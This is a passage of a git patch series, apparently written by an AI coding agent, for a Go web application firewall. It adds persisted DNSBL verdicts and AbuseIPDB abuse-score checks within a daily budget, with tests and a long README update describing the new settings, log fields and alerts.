Version int `json:"version"` - Lists []reputation.List `json:"lists"` + Version int `json:"version"` + Lists []reputation.List `json:"lists"` + Verdicts []reputation.Verdict `json:"verdicts"` } // alertsFile is alerts.json, indented for an admin to read and edit. @@ -432,6 +435,7 @@ func (f *Files) takeIn(name string, data []byte, edit bool) (int, error) { return 0, fmt.Errorf("%s: %w", path, err) } + f.params.DNSBL.Load(file.Verdicts) entries = len(file.Lists) case alertsJSON: waiting, err := f.takeInAlerts(path, data) @@ -567,6 +571,7 @@ func (f *Files) encode(name string) ([]byte, error) { case reputationJSON: return encodeIndented(reputationFile{ Version: version, Lists: f.params.Lists.Snapshot(), + Verdicts: f.params.DNSBL.Snapshot(), }) default: // alerts.json held := f.params.Alerts.Snapshot() @@ -729,8 +734,12 @@ func (f *lookupsFile) check(data []byte) error { // check refuses a list without its URL, which would name no list, or the // time it was last tried, which would have it fetched at once, and a copy // of it without the time it was fetched, or without its lines, which hold -// the list. -func (f *reputationFile) check([]byte) error { +// the list. It refuses a verdict without its zone or its client, which +// would be about no one, whether the zone lists the client, or the time +// it was fetched, which would drop it. A verdict's listed is false for a +// client the zone does not list, which Verdicts cannot tell from a +// missing one, so each listed is read again as written. +func (f *reputationFile) check(data []byte) error { for i, kept := range f.Lists { switch { case kept.URL == "": @@ -744,6 +753,30 @@ func (f *reputationFile) check([]byte) error { } } + var written struct { + Verdicts []struct { + Listed *bool `json:"listed"` + } `json:"verdicts"` + } + + err := json.Unmarshal(data, &written) + if err != nil { + return err + } + + for i, verdict := range f.Verdicts { + switch { + case verdict.Zone == "": + return fmt.Errorf("verdicts %w", missing(i, "zone")) + case !verdict.Client.IsValid(): + return fmt.Errorf("verdicts %w", missing(i, "client")) + case written.Verdicts[i].Listed == nil: + return fmt.Errorf("verdicts %w", missing(i, "listed")) + case verdict.Fetched.IsZero(): + return fmt.Errorf("verdicts %w", missing(i, "fetched")) + } + } + return nil } diff --git a/internal/state/state_test.go b/internal/state/state_test.go index 1b0e604..4127e0e 100644 --- a/internal/state/state_test.go +++ b/internal/state/state_test.go @@ -38,9 +38,11 @@ const ( lookupsJSON = "lookups.json" reputationJSON = "reputation.json" alertsJSON = "alerts.json" - // blocklistURL and torURL are the blocklists the tests' lists name. + // blocklistURL and torURL are the blocklists the tests' lists name, and + // dnsblZone the DNSBL zone of the tests' verdicts. blocklistURL = "https://lists.example/drop.txt" torURL = "https://lists.example/tor.txt" + dnsblZone = "dnsbl.example" // The AS number and AS name the tests' clients are looked up in. asn = "AS64496" asName = "Example Net" @@ -210,7 +212,8 @@ const filledAlertsJSON = `{ ` // filledReputationJSON is reputation.json holding the blocklists' last -// tries and the copy of one, with its comment line, as fill puts them in. +// tries and the copy of one, with its comment line, and two verdicts of a +// DNSBL zone, as fill puts them in. const filledReputationJSON = `{ "version": 1, "lists": [ @@ -228,6 +231,20 @@ const filledReputationJSON = `{ "url": "https://lists.example/tor.txt", "tried": "2026-10-06T00:00:00Z" } + ], + "verdicts": [ + { + "zone": "dnsbl.example", + "client": "203.0.113.9", + "listed": true, + "fetched": "2026-10-05T23:00:00Z" + }, + { + "zone": "dnsbl.example", + "client": "2001:db8::1", + "listed": false, + "fetched": "2026-10-05T22:00:00Z" + } ] } ` @@ -263,6 +280,8 @@ func TestFilesWrittenAndReadBack(t *testing.T) { t.Errorf("%s read back\n%+v\nwant\n%+v", reputationJSON, got, want) } + wantEqual(t, reputationJSON, after.DNSBL.Snapshot(), before.DNSBL.Snapshot()) + if got, want := after.Alerts.Snapshot(), before.Alerts.Snapshot(); !reflect.DeepEqual( got, want) { t.Errorf("%s read back\n%+v\nwant\n%+v", alertsJSON, got, want) @@ -422,8 +441,8 @@ func TestMissingFilesAreEmptyState(t *testing.T) { held := params.Alerts.Snapshot() if len(params.Ledger.Snapshot()) != 0 || len(params.Limiter.Snapshot()) != 0 || len(params.GeoJS.Snapshot()) != 0 || len(params.Lists.Snapshot()) != 0 || - len(held.Cooldowns) != 0 || len(held.Waiting[alerts.DestinationWebhook]) != 0 || - held.Hour.Sent != 0 { + len(params.DNSBL.Snapshot()) != 0 || len(held.Cooldowns) != 0 || + len(held.Waiting[alerts.DestinationWebhook]) != 0 || held.Hour.Sent != 0 { t.Error("state from no files") } } @@ -592,6 +611,11 @@ func TestReputationJSONEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) { drop = `"url": "` + blocklistURL + `", ` tried = `"tried": "2026-10-06T00:00:00Z", ` fetched = `"fetched": "2026-10-06T00:00:00Z"` + // verdictZone, verdictClient and listed start a verdict, which + // fetched ends. + verdictZone = `"zone": "` + dnsblZone + `", ` + verdictClient = `"client": "198.51.100.7", ` + listed = `"listed": false, ` ) for _, tc := range []struct { @@ -621,6 +645,30 @@ func TestReputationJSONEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) { `{"url": "` + torURL + `", ` + tried + fetched + `}]}`, `: entry 2 has no "lines"`, }, + { + "a verdict without its zone", + `{"version": 1, "verdicts": [{` + verdictClient + listed + fetched + `}]}`, + `: verdicts entry 1 has no "zone"`, + }, + { + "a verdict without its client", + `{"version": 1, "verdicts": [{` + verdictZone + listed + fetched + `}]}`, + `: verdicts entry 1 has no "client"`, + }, + { + // A client the zone does not list has a listed of false, which is + // not having none. + "a verdict without whether the zone lists the client", + `{"version": 1, "verdicts": [{` + verdictZone + verdictClient + listed + + fetched + `}, {` + verdictZone + verdictClient + fetched + `}]}`, + `: verdicts entry 2 has no "listed"`, + }, + { + "a verdict without the time it was fetched", + `{"version": 1, "verdicts": [{` + verdictZone + verdictClient + + `"listed": true}]}`, + `: verdicts entry 1 has no "fetched"`, + }, } { t.Run(tc.name, func(t *testing.T) { t.Parallel() @@ -1133,7 +1181,8 @@ func TestEditOfEachFileTakenIn(t *testing.T) { edit(t, dir, reputationJSON, `{"version": 1, "lists": [{"url": "`+blocklistURL+`", `+ `"tried": "2026-10-06T00:00:00Z", "fetched": "2026-10-06T00:00:00Z", `+ - `"lines": ["198.51.100.7"]}]}`) + `"lines": ["198.51.100.7"]}], "verdicts": [{"zone": "`+dnsblZone+`", `+ + `"client": "198.51.100.7", "listed": true, "fetched": "2026-10-06T00:00:00Z"}]}`) wantTakenIn(t, lines, dir, reputationJSON) listedBy := params.Lists.ListedBy(client.Addr()) @@ -1142,6 +1191,10 @@ func TestEditOfEachFileTakenIn(t *testing.T) { client.Addr(), listedBy) } + wantEqual(t, reputationJSON, params.DNSBL.Snapshot(), []reputation.Verdict{{ + Zone: dnsblZone, Client: client.Addr(), Listed: true, Fetched: midnight(), + }}) + // A netblock with bits past its length is read as the netblock it is // in. edit(t, dir, alertsJSON, `{"version": 1, "cooldowns": [{"event": "ban", `+ @@ -1558,6 +1611,10 @@ func newParams(dir string) state.Params { BlocklistURLs: []string{blocklistURL, torURL}, Refresh: 24 * time.Hour, Now: midnight, ProcessLog: discard, Alerts: queue, }), + DNSBL: reputation.NewDNSBL(reputation.DNSBLParams{ + Zones: []string{dnsblZone}, CacheTTL: 24 * time.Hour, Timeout: time.Second, + Now: midnight, ProcessLog: discard, Alerts: queue, + }), Alerts: queue, Anomalies: anomaly.New(anomaly.Params{ Net: anomaly.Thresholds{RequestsPerMinute: 1000}, @@ -1582,9 +1639,10 @@ func office() netip.Prefix { // fill puts a permanent ban an admin made, a ban for a broken limit and // one for a clear sign of attack, clients with counts and histories, -// GeoJS answers, the blocklists' last tries and the copy of one, as -// filledReputationJSON holds them, and alerts and anomaly counters, as -// filledAlertsJSON holds them, into the parts of params. +// GeoJS answers, the blocklists' last tries and the copy of one, and two +// verdicts of a DNSBL zone, as filledReputationJSON holds them, and alerts +// and anomaly counters, as filledAlertsJSON holds them, into the parts of +// params. func fill(params state.Params) { now := midnight() client := netip.MustParsePrefix("203.0.113.9/32") @@ -1631,6 +1689,14 @@ func fill(params state.Params) { panic(err) // the copy reads } + params.DNSBL.Load([]reputation.Verdict{ + { + Zone: dnsblZone, Client: netip.MustParseAddr("2001:db8::1"), + Fetched: now.Add(-2 * time.Hour), + }, + {Zone: dnsblZone, Client: client.Addr(), Listed: true, Fetched: now.Add(-time.Hour)}, + }) + // An alert waiting, a repeat of it the cooldown holds back, another // alert waiting, and one past the two an hour, for the hour's summary. ban := alerts.Alert{ From ca787985f8a39305fa7c23de49001121e4d9c762 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Wed, 7 Oct 2026 22:47:06 +0200 Subject: [PATCH 42/64] AbuseIPDB scores for clients that committed an offence, within a daily budget (closes #105) With SWWAF_ABUSEIPDB_KEY set, a client whose history counts an offence (a broken limit, a ban rule's match or a block rule's refusal, counted by kind) is checked in the background, at most SWWAF_ABUSEIPDB_DAILY_BUDGET checks a day, the count kept in reputation.json. A client, an IPv4 address or an IPv6 /64, is checked by the address it sent from, and its score serves all its addresses. A score at or over SWWAF_ABUSEIPDB_MIN_SCORE is a hit for SWWAF_REPUTATION_ACTION, logged as abuseipdb and alerted with its score. A failure or the used-up budget gives no score and raises source_failure. The key goes only in the Key header. Judgement call: the budget's day is UTC; AbuseIPDB documents no reset time. Judgement call: each check sent spends budget; a minute's pause after a failure. Model: opus-5-5 --- README.md | 391 +++++++++------ internal/alerts/alerts.go | 5 +- internal/config/config.go | 31 +- internal/config/config_test.go | 76 +++ internal/metrics/metrics.go | 98 ++-- internal/proxy/biased.go | 27 +- internal/proxy/lookup_test.go | 1 + internal/proxy/proxy.go | 43 +- internal/proxy/proxy_test.go | 20 +- internal/proxy/reputation.go | 80 +++- internal/proxy/reputation_test.go | 300 ++++++++++++ internal/proxy/request.go | 30 +- internal/proxy/rules.go | 6 +- internal/ratelimit/ratelimit.go | 25 +- internal/reputation/abuseipdb.go | 328 +++++++++++++ internal/reputation/abuseipdb_test.go | 663 ++++++++++++++++++++++++++ internal/reputation/dnsbl.go | 15 +- internal/reputation/export_test.go | 6 + internal/reputation/reputation.go | 24 +- internal/requestlog/requestlog.go | 6 +- internal/smallwebwaf/smallwebwaf.go | 19 +- internal/state/state.go | 59 ++- internal/state/state_test.go | 101 +++- 23 files changed, 2045 insertions(+), 309 deletions(-) create mode 100644 internal/reputation/abuseipdb.go create mode 100644 internal/reputation/abuseipdb_test.go diff --git a/README.md b/README.md index e954472..fd004b8 100644 --- a/README.md +++ b/README.md @@ -26,36 +26,39 @@ Slack and ntfy, and remote log sending. So is the stage after that: the AS number and country of every client, looked up through GeoJS or in the IPinfo Lite database file, the byte limits, the biased thresholds, lower limits for the AS numbers and countries you list, and the anomaly thresholds, alerts for -unusual traffic that refuse nothing. So are the first two parts of the stage +unusual traffic that refuse nothing. So are the first three parts of the stage after that: the blocklists you name by URL, which it fetches and keeps, with a -file of AS numbers' percentages fetched the same way, and the DNS blocklists -(DNSBL zones), which it asks about each client in the background. `smallwebwaf` -passes each request to the app and the app's answer back, unchanged, within its -timeouts and size limits, works out each client's address, looks up its AS -number and country unless you switch that off, bans a client that sends too many -requests or too many bytes, not counting those for the paths you choose, with -lower limits for the clients of the AS numbers and countries you list, refuses a -client that comes from a country you refuse or from a network you refuse, -refuses, limits or only notes a client a blocklist or a DNSBL zone you name -lists, lets the networks you choose through, checks each request against the -rule files and bans a client whose request is a clear sign of attack, keeps its -bans, each client's counters and history, GeoJS's answers, the last good copy of -each list it fetches and the DNSBL zones' verdicts in JSON files across -restarts, takes in your edits of those files, such as a ban you make, keep or -lift, and of the rule files while it runs, writes a JSON log line for every -request, sends its log lines to a syslog server too if you name one, sends an -alert to a webhook, to Slack and to ntfy, each if you name one, for each ban it -makes or makes permanent, for traffic over an anomaly threshold you set, for a -client a blocklist or a DNSBL zone lists, for GeoJS failing, a list it cannot -fetch or a DNSBL zone that fails or refuses a query, for a rule file or state -file with an error and for a replacement of the lookup database it cannot read, -serves Prometheus metrics to a scraper that holds the metrics token, lets an -admin who holds the admin token list, add and lift bans and ask what it knows of -a client, and in `observe` mode passes on the requests it would refuse, logging -what it would have done with them. It comes as the image the app's own image is -built on. The rest of the design comes after that, in the order of the build -order in [`SPEC.md`](SPEC.md). The survey of existing tools that led to the -design is in [`EVALUATION.md`](EVALUATION.md). +file of AS numbers' percentages fetched the same way, the DNS blocklists (DNSBL +zones), which it asks about each client in the background, and AbuseIPDB, which +it asks in the background about each client that has committed an offence. +`smallwebwaf` passes each request to the app and the app's answer back, +unchanged, within its timeouts and size limits, works out each client's address, +looks up its AS number and country unless you switch that off, bans a client +that sends too many requests or too many bytes, not counting those for the paths +you choose, with lower limits for the clients of the AS numbers and countries +you list, refuses a client that comes from a country you refuse or from a +network you refuse, refuses, limits or only notes a client a blocklist or a +DNSBL zone you name lists, or AbuseIPDB scores at or over the score you set, +lets the networks you choose through, checks each request against the rule files +and bans a client whose request is a clear sign of attack, keeps its bans, each +client's counters and history, GeoJS's answers, the last good copy of each list +it fetches, the DNSBL zones' verdicts, AbuseIPDB's scores and the AbuseIPDB +checks spent today in JSON files across restarts, takes in your edits of those +files, such as a ban you make, keep or lift, and of the rule files while it +runs, writes a JSON log line for every request, sends its log lines to a syslog +server too if you name one, sends an alert to a webhook, to Slack and to ntfy, +each if you name one, for each ban it makes or makes permanent, for traffic over +an anomaly threshold you set, for a client a blocklist, a DNSBL zone or +AbuseIPDB lists, for GeoJS failing, a list it cannot fetch, a DNSBL zone or +AbuseIPDB that fails or refuses a query and the day's AbuseIPDB checks used up, +for a rule file or state file with an error and for a replacement of the lookup +database it cannot read, serves Prometheus metrics to a scraper that holds the +metrics token, lets an admin who holds the admin token list, add and lift bans +and ask what it knows of a client, and in `observe` mode passes on the requests +it would refuse, logging what it would have done with them. It comes as the +image the app's own image is built on. The rest of the design comes after that, +in the order of the build order in [`SPEC.md`](SPEC.md). The survey of existing +tools that led to the design is in [`EVALUATION.md`](EVALUATION.md). ## Getting started @@ -222,35 +225,46 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of make no ban. With `log`, nothing more is done. Whatever the action, the request's log line names the zones, and each raises an alert. A client a blocklist refuses is not checked. +- Checks the client with AbuseIPDB while `SWWAF_ABUSEIPDB_KEY` is set, after the + DNSBL zones and before the rate limits (see "AbuseIPDB" below), by the scores + it keeps. Only a client whose history counts an offence is checked, so far one + that has broken a rate limit or a byte limit, matched a ban rule, or had a + request refused by a block rule, and only in the background, so that no + request waits for AbuseIPDB. A score at or over `SWWAF_ABUSEIPDB_MIN_SCORE` is + a hit, and `SWWAF_REPUTATION_ACTION` does with its client what it does with + one a DNSBL zone's verdict lists. The request's log line names AbuseIPDB, and + it raises an alert. A client a blocklist or a DNSBL zone refuses is not + checked. - Checks the client's own address against the static lists, the three netblock settings below, before anything else, its lookup included. A client in `SWWAF_ALLOW_NETS` skips bans, the country lists, the blocklists, the DNSBL - zones, the rate limits, the byte limits and the rule files, and is not looked - up; the timeouts and size limits still apply. A client in `SWWAF_DENY_NETS` is - refused with `SWWAF_BAN_RESPONSE` before its body is read, and the request is - not counted for the rate limits; an address in `SWWAF_ALLOW_NETS` too is let - through. A client in `SWWAF_RATE_LIMIT_EXEMPT_NETS` is neither counted nor - refused by the rate limits, and has no bytes counted by the byte limits; the - country lists, the rule files and bans still apply to it. + zones, AbuseIPDB, the rate limits, the byte limits and the rule files, and is + not looked up; the timeouts and size limits still apply. A client in + `SWWAF_DENY_NETS` is refused with `SWWAF_BAN_RESPONSE` before its body is + read, and the request is not counted for the rate limits; an address in + `SWWAF_ALLOW_NETS` too is let through. A client in + `SWWAF_RATE_LIMIT_EXEMPT_NETS` is neither counted nor refused by the rate + limits, and has no bytes counted by the byte limits; the country lists, the + rule files and bans still apply to it. - In `observe` mode, with `SWWAF_MODE=observe`, refuses none of the requests that `SWWAF_DENY_NETS`, a ban, the country lists, a blocklist, a DNSBL zone's - verdict, a rate limit or a rule would refuse: it passes them to the app, and - their log lines name what `enforce` mode would have done (see `would_action` - in "Request log" below). The checks run, and requests and bytes are counted, - as in `enforce` mode, with three differences: neither a broken rate limit or - byte limit nor a `ban` rule makes a ban; a broken limit does not set the - client's counters back to zero, so each request over a rate limit is logged as - one that would be refused, and each whose bytes keep the client over a byte - limit as breaking it; and a request under a ban does not make it permanent. As - in `enforce` mode, the bytes counted are only those of the requests `enforce` - mode would have passed to the app. A ban it would have made, or made - permanent, raises the alert `enforce` mode would have raised, marked as what - would have happened (see "Alerts" below). The bans in `bans.json` are kept, - and refuse requests again when `smallwebwaf` next runs in `enforce` mode, as - long as they last. The timeouts and size limits still apply, since they - protect `smallwebwaf` and the app themselves, and a request for one of - `smallwebwaf`'s own endpoints without its token is still answered `401`. It is - for trying a configuration before enforcing it. + verdict, AbuseIPDB's score, a rate limit or a rule would refuse: it passes + them to the app, and their log lines name what `enforce` mode would have done + (see `would_action` in "Request log" below). The checks run, and requests and + bytes are counted, as in `enforce` mode, with three differences: neither a + broken rate limit or byte limit nor a `ban` rule makes a ban; a broken limit + does not set the client's counters back to zero, so each request over a rate + limit is logged as one that would be refused, and each whose bytes keep the + client over a byte limit as breaking it; and a request under a ban does not + make it permanent. As in `enforce` mode, the bytes counted are only those of + the requests `enforce` mode would have passed to the app. A ban it would have + made, or made permanent, raises the alert `enforce` mode would have raised, + marked as what would have happened (see "Alerts" below). The bans in + `bans.json` are kept, and refuse requests again when `smallwebwaf` next runs + in `enforce` mode, as long as they last. The timeouts and size limits still + apply, since they protect `smallwebwaf` and the app themselves, and a request + for one of `smallwebwaf`'s own endpoints without its token is still answered + `401`. It is for trying a configuration before enforcing it. - Answers `GET /_smallwebwaf/healthz` itself with `200` and `ok`, before any check and without asking the app, for the image's health check. - Answers `GET /_smallwebwaf/metrics` with its metrics (see "Metrics" below) for @@ -270,14 +284,15 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of `SWWAF_LOG_REMOTE_URL` names one (see "Sending the log to a syslog server" below). - Sends an alert for each ban it makes or makes permanent, for a count over an - anomaly threshold, for a client a blocklist or a DNSBL zone lists, for GeoJS - failing, a list it cannot fetch or a DNSBL zone that fails or refuses a query, - for a rule file or state file with an error, and for a replacement of the - lookup database it cannot read, holding back repeats and, past an hourly - limit, rolling the rest into one summary, to each destination you name: as a - JSON object to the webhook `SWWAF_ALERT_WEBHOOK_URL` names, as a message to - the Slack incoming webhook `SWWAF_ALERT_SLACK_WEBHOOK_URL` names, and as a - message to the ntfy topic `SWWAF_ALERT_NTFY_URL` names (see "Alerts" below). + anomaly threshold, for a client a blocklist, a DNSBL zone or AbuseIPDB lists, + for GeoJS failing, a list it cannot fetch, a DNSBL zone or AbuseIPDB that + fails or refuses a query, and the day's AbuseIPDB checks used up, for a rule + file or state file with an error, and for a replacement of the lookup database + it cannot read, holding back repeats and, past an hourly limit, rolling the + rest into one summary, to each destination you name: as a JSON object to the + webhook `SWWAF_ALERT_WEBHOOK_URL` names, as a message to the Slack incoming + webhook `SWWAF_ALERT_SLACK_WEBHOOK_URL` names, and as a message to the ntfy + topic `SWWAF_ALERT_NTFY_URL` names (see "Alerts" below). - Counts requests and their bytes over a minute and an hour, per client, per netblock around a client, per AS number, for the whole service and per named netblock, and sends an `anomaly` alert for a count over the anomaly threshold @@ -340,8 +355,9 @@ effective settings are logged at start. - `SWWAF_REQUEST_MAX_BYTES` (default `100M`): the largest request body. - `SWWAF_RESPONSE_MAX_BYTES` (default `5G`): the largest response body. - `SWWAF_ALLOW_NETS` (default empty): netblocks whose clients skip bans, the - country lists, the blocklists, the DNSBL zones, the rate limits, the byte - limits and the rule files, such as your monitoring or your own networks. + country lists, the blocklists, the DNSBL zones, AbuseIPDB, the rate limits, + the byte limits and the rule files, such as your monitoring or your own + networks. - `SWWAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients the rate limits and the byte limits do not apply to, such as a machine that talks to the app all day. @@ -457,21 +473,28 @@ effective settings are logged at start. `192.0.2.53` or `[2001:db8::53]:5353`. Unset, it is the host's, as `/etc/resolv.conf` names it. Several zones refuse queries that come through a public resolver. +- `SWWAF_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account, + which clients are checked with (see "AbuseIPDB" below). While it is unset, no + client is checked. The settings logged at start show `********` in its place. +- `SWWAF_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence score, + from 0 to 100, that is a hit. +- `SWWAF_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a day, + in UTC, a whole number above zero. AbuseIPDB's free accounts may make 1,000. - `SWWAF_REPUTATION_ACTION` (default `limit:25`): what is done with a client a - zone's verdict lists, as `SWWAF_BLOCKLIST_ACTION` is for a blocklist: `deny`, - `limit:` or `log`. A zone's verdict is less certain than a list such - as DROP, so by default a client it lists gets a quarter of every rate limit - and byte limit. + zone's verdict lists, or whose AbuseIPDB score is a hit, as + `SWWAF_BLOCKLIST_ACTION` is for a blocklist: `deny`, `limit:` or + `log`. Such a verdict is less certain than a list such as DROP, so by default + its client gets a quarter of every rate limit and byte limit. - `SWWAF_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict on a - client is used after the zone gave it. -- `SWWAF_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone may take - before it fails. + client, or AbuseIPDB's score of it, is used after it was given. +- `SWWAF_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone, or a + check with AbuseIPDB, may take before it fails. - `SWWAF_BAN_RESPONSE` (default `403`): how a refused client is answered, one that is banned, breaks a rate limit, matches a `ban` rule, is in `SWWAF_DENY_NETS`, comes from a refused country, is in a blocklist while - `SWWAF_BLOCKLIST_ACTION` is `deny` or is listed by a DNSBL zone while - `SWWAF_REPUTATION_ACTION` is `deny`: `403`, `429`, or `close` to close the - connection without an answer. Behind traefik, `close` does not leave the + `SWWAF_BLOCKLIST_ACTION` is `deny` or is listed by a DNSBL zone or AbuseIPDB + while `SWWAF_REPUTATION_ACTION` is `deny`: `403`, `429`, or `close` to close + the connection without an answer. Behind traefik, `close` does not leave the client unanswered: traefik answers `502`, as it does whenever its backend drops a connection. A `block` rule always answers `403`. - `SWWAF_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken rate @@ -616,7 +639,8 @@ listed twice in one of them stops the start. `off` switches a timeout, a size limit, a rate limit, a byte limit, an anomaly threshold, `SWWAF_ALERT_COOLDOWN` or `SWWAF_ALERT_MAX_PER_HOUR` off; `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`, `SWWAF_LOOKUP_TIMEOUT`, `SWWAF_UNKNOWN_LIMIT_PERCENT`, -`SWWAF_BLOCKLIST_REFRESH`, `SWWAF_REPUTATION_CACHE_TTL`, +`SWWAF_BLOCKLIST_REFRESH`, `SWWAF_ABUSEIPDB_MIN_SCORE`, +`SWWAF_ABUSEIPDB_DAILY_BUDGET`, `SWWAF_REPUTATION_CACHE_TTL`, `SWWAF_REPUTATION_TIMEOUT`, the ban settings, the state settings, `SWWAF_METRICS_TOP_N`, `SWWAF_LOG_REMOTE_BUFFER`, `SWWAF_ANOMALY_NET_V4_PREFIX` and `SWWAF_ANOMALY_NET_V6_PREFIX` cannot be off. @@ -624,8 +648,9 @@ and `SWWAF_ANOMALY_NET_V6_PREFIX` cannot be off. Several limits are fixed rather than settings. At most 20,000 clients are kept, with their counters and history, and an IPv6 client is counted by its /64. At most 100,000 answers from GeoJS are kept, for 7 days each, at most 20,000 -anomaly counters, and at most 100,000 verdicts of the DNSBL zones, with at most -1,000 queries to them under way at once. +anomaly counters, at most 100,000 verdicts of the DNSBL zones, with at most +1,000 queries to them under way at once, and at most 100,000 scores of +AbuseIPDB. ### Settings given as files @@ -709,30 +734,31 @@ which every line has. - `request_bytes` and `response_bytes` count body bytes. - `action` is `forward` for a request passed to the app, `denied` for one refused because its client is in `SWWAF_DENY_NETS`, in a blocklist while - `SWWAF_BLOCKLIST_ACTION` is `deny`, or listed by a DNSBL zone while - `SWWAF_REPUTATION_ACTION` is `deny`, `banned` for one refused because a ban - covers its client or because it matched a `ban` rule, which bans its client, - `country_denied` for one refused for its client's country, `rate_limited` for - one that broke a rate limit and banned its client, `rule_blocked` for one a - `block` rule refused, `too_large` for a request or response over its size - limit, `timed_out` for one that ran out of time, `upstream_error` when the app - could not be reached or its answer broke off, and `admin` for one - `smallwebwaf` answered at its own endpoint. + `SWWAF_BLOCKLIST_ACTION` is `deny`, or listed by a DNSBL zone or AbuseIPDB + while `SWWAF_REPUTATION_ACTION` is `deny`, `banned` for one refused because a + ban covers its client or because it matched a `ban` rule, which bans its + client, `country_denied` for one refused for its client's country, + `rate_limited` for one that broke a rate limit and banned its client, + `rule_blocked` for one a `block` rule refused, `too_large` for a request or + response over its size limit, `timed_out` for one that ran out of time, + `upstream_error` when the app could not be reached or its answer broke off, + and `admin` for one `smallwebwaf` answered at its own endpoint. - `would_action` is there in `observe` mode for a request that `SWWAF_DENY_NETS`, a ban, the country lists, a blocklist, a DNSBL zone's - verdict, a rate limit or a rule would have refused in `enforce` mode, and - names the action that refusal would have had: `denied`, `banned`, - `country_denied`, `rate_limited` or `rule_blocked`. `action` then names what - was done: `forward` for a request passed to the app, and another action, such - as `too_large`, for one a size or time limit refused. + verdict, AbuseIPDB's score, a rate limit or a rule would have refused in + `enforce` mode, and names the action that refusal would have had: `denied`, + `banned`, `country_denied`, `rate_limited` or `rule_blocked`. `action` then + names what was done: `forward` for a request passed to the app, and another + action, such as `too_large`, for one a size or time limit refused. - `limit_percent` is there for a request the rate limits count whose client a biased threshold, `SWWAF_BLOCKLIST_ACTION` for a blocklist that lists it, or - `SWWAF_REPUTATION_ACTION` for a DNSBL zone whose verdict lists it, gives less - than the whole of the rate limits, and gives the percentage it gets, with - `limit_percent_setting` naming the setting that gave it, such as - `SWWAF_ASN_LIMIT_PERCENT`, or `SWWAF_ASN_LIMIT_PERCENT_URL` for the file it - names. `bytes_percent` and `bytes_percent_setting` are the same for the byte - limits. Each is left out when the client gets the whole of those limits. + `SWWAF_REPUTATION_ACTION` for a DNSBL zone whose verdict lists it or an + AbuseIPDB score that is a hit, gives less than the whole of the rate limits, + and gives the percentage it gets, with `limit_percent_setting` naming the + setting that gave it, such as `SWWAF_ASN_LIMIT_PERCENT`, or + `SWWAF_ASN_LIMIT_PERCENT_URL` for the file it names. `bytes_percent` and + `bytes_percent_setting` are the same for the byte limits. Each is left out + when the client gets the whole of those limits. - `counts` gives the client's requests in the minute, the hour and the day as the rate limits count them, this request included: in each window, those in the bucket under way and a share of those in the bucket before, so a count can @@ -741,11 +767,11 @@ which every line has. health check, one from a client in `SWWAF_ALLOW_NETS` or `SWWAF_RATE_LIMIT_EXEMPT_NETS`, one for a path that `SWWAF_RATE_LIMIT_EXEMPT_PATHS` exempts, and one that `SWWAF_DENY_NETS`, a - ban, the country lists, a blocklist or a DNSBL zone's verdict refuse, or would - refuse in `observe` mode. Its `minute_bytes`, `hour_bytes` and `day_bytes` - give the client's bytes in each window as the byte limits count them, in the - same way: for a request whose bytes they count, with its own, once it has - ended; for any other, those counted before it. + ban, the country lists, a blocklist, a DNSBL zone's verdict or AbuseIPDB's + score refuse, or would refuse in `observe` mode. Its `minute_bytes`, + `hour_bytes` and `day_bytes` give the client's bytes in each window as the + byte limits count them, in the same way: for a request whose bytes they count, + with its own, once it has ended; for any other, those counted before it. - `rule_ids` is there for a request that matched rules of the rule files, and lists their ids in the order they matched, up to the one that refused it. - `limit_hit` is there for a request that broke a rate limit, or whose bytes @@ -756,15 +782,17 @@ which every line has. is not refused: its `action` is what it would have been otherwise, such as `forward`. - `reputation` is there for a request whose client a blocklist or a DNSBL zone's - verdict lists, and gives the URLs of the blocklists that list it, in the order - `SWWAF_BLOCKLIST_URLS` names them, then the zones whose verdict lists it, in - the order `SWWAF_DNSBL_ZONES` names them, whatever `SWWAF_BLOCKLIST_ACTION` - and `SWWAF_REPUTATION_ACTION` say. A zone whose verdict on the client has not - come yet, or was given `SWWAF_REPUTATION_CACHE_TTL` ago or more, is not named. - It is left out for a client the blocklists are not checked for: one in - `SWWAF_ALLOW_NETS`, and one `SWWAF_DENY_NETS`, a ban or the country lists - refuse first, or would in `observe` mode. The zones are not checked either for - a client a blocklist refuses, or would in `observe` mode. + verdict lists, or whose AbuseIPDB score is a hit, and gives the URLs of the + blocklists that list it, in the order `SWWAF_BLOCKLIST_URLS` names them, then + the zones whose verdict lists it, in the order `SWWAF_DNSBL_ZONES` names them, + then `abuseipdb`, whatever `SWWAF_BLOCKLIST_ACTION` and + `SWWAF_REPUTATION_ACTION` say. A zone whose verdict on the client has not come + yet, or was given `SWWAF_REPUTATION_CACHE_TTL` ago or more, is not named, nor + is AbuseIPDB for such a score. It is left out for a client the blocklists are + not checked for: one in `SWWAF_ALLOW_NETS`, and one `SWWAF_DENY_NETS`, a ban + or the country lists refuse first, or would in `observe` mode. The zones are + not checked either for a client a blocklist refuses, nor AbuseIPDB's score for + one a blocklist or a zone refuses, or would in `observe` mode. - `ban_expires` is there for a request that made a ban or was refused under one, or in `observe` mode would have been refused under one, and gives when the ban ends, in the same form as `time`, or `permanent`. @@ -835,12 +863,14 @@ it, as below. An alert is for one of these events, and is sent when each request that ends with the count over it, in `observe` mode as in `enforce` mode. It refuses and bans nothing. - `reputation_hit`: a request whose client a blocklist or a DNSBL zone's verdict - lists, one alert for each blocklist and each zone that lists it, whatever + lists, or whose AbuseIPDB score is a hit, one alert for each blocklist and + each zone that lists it, and one for AbuseIPDB, whatever `SWWAF_BLOCKLIST_ACTION` and `SWWAF_REPUTATION_ACTION` say, in `observe` mode as in `enforce` mode. - `source_failure`: GeoJS failing or refusing `smallwebwaf`, a fetch of a list - failing (see "Blocklists" below), or a query to a DNSBL zone failing or - refused (see "DNS blocklists" below). + failing (see "Blocklists" below), a query to a DNSBL zone failing or refused + (see "DNS blocklists" below), or a check with AbuseIPDB failing 